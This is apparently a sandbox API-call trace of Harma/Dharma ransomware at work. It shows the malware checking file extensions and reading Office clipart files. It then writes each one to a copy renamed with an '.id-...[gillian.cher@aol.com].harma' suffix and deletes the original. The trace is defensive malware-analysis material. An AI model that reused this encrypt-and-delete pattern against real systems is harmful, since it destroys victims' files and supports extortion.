lstrlenW (lpString=".docx") returned 5 [0145.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.861] lstrlenW (lpString=".pdf") returned 4 [0145.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.861] lstrlenW (lpString=".xls") returned 4 [0145.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.861] lstrlenW (lpString=".xlsx") returned 5 [0145.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.861] lstrlenW (lpString=".ppt") returned 4 [0145.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.861] lstrlenW (lpString=".zip") returned 4 [0145.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.861] lstrlenW (lpString=".rar") returned 4 [0145.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.861] lstrlenW (lpString=".bz2") returned 4 [0145.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.861] lstrlenW (lpString=".7z") returned 3 [0145.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.861] lstrlenW (lpString=".dbf") returned 4 [0145.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.861] lstrlenW (lpString=".1cd") returned 4 [0145.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.861] lstrlenW (lpString=".jpg") returned 4 [0145.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.862] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.862] lstrlenW (lpString="BL00267_.WMF") returned 12 [0145.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0145.862] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2644) returned 1 [0145.862] CloseHandle (hObject=0x210) returned 1 [0145.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0145.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0145.863] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.863] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.863] GetLastError () returned 0x0 [0145.863] ReadFile (in: hFile=0x210, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xa54, lpOverlapped=0x0) returned 1 [0145.908] WriteFile (in: hFile=0x214, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xa60, lpOverlapped=0x0) returned 1 [0145.908] ReadFile (in: hFile=0x210, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.908] WriteFile (in: hFile=0x214, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.909] SetEndOfFile (hFile=0x214) returned 1 [0145.909] CloseHandle (hObject=0x214) returned 1 [0145.909] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.909] SetEndOfFile (hFile=0x210) returned 1 [0145.911] CloseHandle (hObject=0x210) returned 1 [0145.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0145.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.912] lstrlenW (lpString=".doc") returned 4 [0145.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString=".docx") returned 5 [0145.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.913] lstrlenW (lpString=".pdf") returned 4 [0145.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString=".xls") returned 4 [0145.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.913] lstrlenW (lpString=".xlsx") returned 5 [0145.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.913] lstrlenW (lpString=".ppt") returned 4 [0145.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.913] lstrlenW (lpString=".zip") returned 4 [0145.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.913] lstrlenW (lpString=".rar") returned 4 [0145.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString=".bz2") returned 4 [0145.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString=".7z") returned 3 [0145.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.913] lstrlenW (lpString=".dbf") returned 4 [0145.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.913] lstrlenW (lpString=".1cd") returned 4 [0145.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.913] lstrlenW (lpString=".jpg") returned 4 [0145.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.914] lstrlenW (lpString=".doc") returned 4 [0145.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString=".docx") returned 5 [0145.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.914] lstrlenW (lpString=".pdf") returned 4 [0145.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString=".xls") returned 4 [0145.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.914] lstrlenW (lpString=".xlsx") returned 5 [0145.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.914] lstrlenW (lpString=".ppt") returned 4 [0145.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.914] lstrlenW (lpString=".zip") returned 4 [0145.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.914] lstrlenW (lpString=".rar") returned 4 [0145.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString=".bz2") returned 4 [0145.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString=".7z") returned 3 [0145.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.914] lstrlenW (lpString=".dbf") returned 4 [0145.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.914] lstrlenW (lpString=".1cd") returned 4 [0145.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0145.915] lstrlenW (lpString=".jpg") returned 4 [0145.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.915] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.915] lstrlenW (lpString="BL00273_.WMF") returned 12 [0145.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.926] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3780) returned 1 [0145.926] CloseHandle (hObject=0x214) returned 1 [0145.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0145.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.926] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.926] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0145.927] GetLastError () returned 0x0 [0145.927] ReadFile (in: hFile=0x214, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xec4, lpOverlapped=0x0) returned 1 [0145.928] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xed0, lpOverlapped=0x0) returned 1 [0145.929] ReadFile (in: hFile=0x214, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.929] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.930] SetEndOfFile (hFile=0x35c) returned 1 [0145.930] CloseHandle (hObject=0x35c) returned 1 [0145.930] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.930] SetEndOfFile (hFile=0x214) returned 1 [0145.932] CloseHandle (hObject=0x214) returned 1 [0145.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0145.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.933] lstrlenW (lpString=".doc") returned 4 [0145.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.933] lstrlenW (lpString=".docx") returned 5 [0145.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.933] lstrlenW (lpString=".pdf") returned 4 [0145.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.933] lstrlenW (lpString=".xls") returned 4 [0145.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.933] lstrlenW (lpString=".xlsx") returned 5 [0145.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.933] lstrlenW (lpString=".ppt") returned 4 [0145.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.933] lstrlenW (lpString=".zip") returned 4 [0145.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.933] lstrlenW (lpString=".rar") returned 4 [0145.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.934] lstrlenW (lpString=".bz2") returned 4 [0145.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.934] lstrlenW (lpString=".7z") returned 3 [0145.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.934] lstrlenW (lpString=".dbf") returned 4 [0145.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.934] lstrlenW (lpString=".1cd") returned 4 [0145.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.934] lstrlenW (lpString=".jpg") returned 4 [0145.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.934] lstrlenW (lpString=".doc") returned 4 [0145.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.934] lstrlenW (lpString=".docx") returned 5 [0145.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.934] lstrlenW (lpString=".pdf") returned 4 [0145.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.934] lstrlenW (lpString=".xls") returned 4 [0145.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.934] lstrlenW (lpString=".xlsx") returned 5 [0145.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.934] lstrlenW (lpString=".ppt") returned 4 [0145.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.934] lstrlenW (lpString=".zip") returned 4 [0145.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.934] lstrlenW (lpString=".rar") returned 4 [0145.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.935] lstrlenW (lpString=".bz2") returned 4 [0145.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.935] lstrlenW (lpString=".7z") returned 3 [0145.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.935] lstrlenW (lpString=".dbf") returned 4 [0145.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.935] lstrlenW (lpString=".1cd") returned 4 [0145.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0145.935] lstrlenW (lpString=".jpg") returned 4 [0145.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.935] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.935] lstrlenW (lpString="BL00274_.WMF") returned 12 [0145.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.936] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=4164) returned 1 [0145.936] CloseHandle (hObject=0x214) returned 1 [0145.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0145.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.936] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.936] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0145.937] GetLastError () returned 0x0 [0145.937] ReadFile (in: hFile=0x214, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1044, lpOverlapped=0x0) returned 1 [0145.940] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1050, lpOverlapped=0x0) returned 1 [0145.941] ReadFile (in: hFile=0x214, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.941] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.941] SetEndOfFile (hFile=0x35c) returned 1 [0145.941] CloseHandle (hObject=0x35c) returned 1 [0145.942] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.942] SetEndOfFile (hFile=0x214) returned 1 [0145.944] CloseHandle (hObject=0x214) returned 1 [0145.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0145.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.945] lstrlenW (lpString=".doc") returned 4 [0145.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.945] lstrlenW (lpString=".docx") returned 5 [0145.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.945] lstrlenW (lpString=".pdf") returned 4 [0145.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.945] lstrlenW (lpString=".xls") returned 4 [0145.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.945] lstrlenW (lpString=".xlsx") returned 5 [0145.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.945] lstrlenW (lpString=".ppt") returned 4 [0145.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.945] lstrlenW (lpString=".zip") returned 4 [0145.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.945] lstrlenW (lpString=".rar") returned 4 [0145.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.945] lstrlenW (lpString=".bz2") returned 4 [0145.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.945] lstrlenW (lpString=".7z") returned 3 [0145.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.945] lstrlenW (lpString=".dbf") returned 4 [0145.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.945] lstrlenW (lpString=".1cd") returned 4 [0145.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.945] lstrlenW (lpString=".jpg") returned 4 [0145.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.946] lstrlenW (lpString=".doc") returned 4 [0145.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString=".docx") returned 5 [0145.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.946] lstrlenW (lpString=".pdf") returned 4 [0145.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString=".xls") returned 4 [0145.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.946] lstrlenW (lpString=".xlsx") returned 5 [0145.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.946] lstrlenW (lpString=".ppt") returned 4 [0145.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.946] lstrlenW (lpString=".zip") returned 4 [0145.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 